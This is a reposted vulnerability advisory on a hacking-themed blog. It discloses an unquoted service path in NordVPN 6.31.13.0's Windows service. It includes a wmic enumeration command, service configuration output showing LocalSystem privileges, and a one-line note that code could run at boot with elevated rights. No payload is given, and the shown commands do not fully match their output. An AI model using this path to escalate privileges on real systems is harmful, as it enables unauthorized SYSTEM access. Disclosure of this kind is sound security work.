Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863543538

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Nord VPN-6.31.13.0 - 'nordvpn-service' Unquoted Service Path
# Discovery Date: 2020-09-03
# Discovery by: chipo
# Vendor Homepage: https://nordvpn.com
# Software Link : https://downloads.nordcdn.com/apps/windows/10/NordVPN/latest/NordVPNSetup.exe
# Tested Version: 6.31.13.0
# Tested on OS: Windows 10 Pro x64 es
# Vulnerability Type: Unquoted Service Path

# Find the discover Unquoted Service Path Vulnerability: 

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "ovpnconnect" | findstr /i /v """

nordvpn-service                                                                                                                    nordvpn-service                                         C:\Program Files\NordVPN\nordvpn-service.exe     

# Service info:

C:\>sc qc servicio
[SC] QueryServiceConfig SUCCESS

NOMBRE_SERVICIO: nordvpn-service
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\NordVPN\nordvpn-service.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : nordvpn-service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

#Exploit:

A successful attempt to exploit this vulnerability could allow to execute code during startup or reboot with the elevated privileges.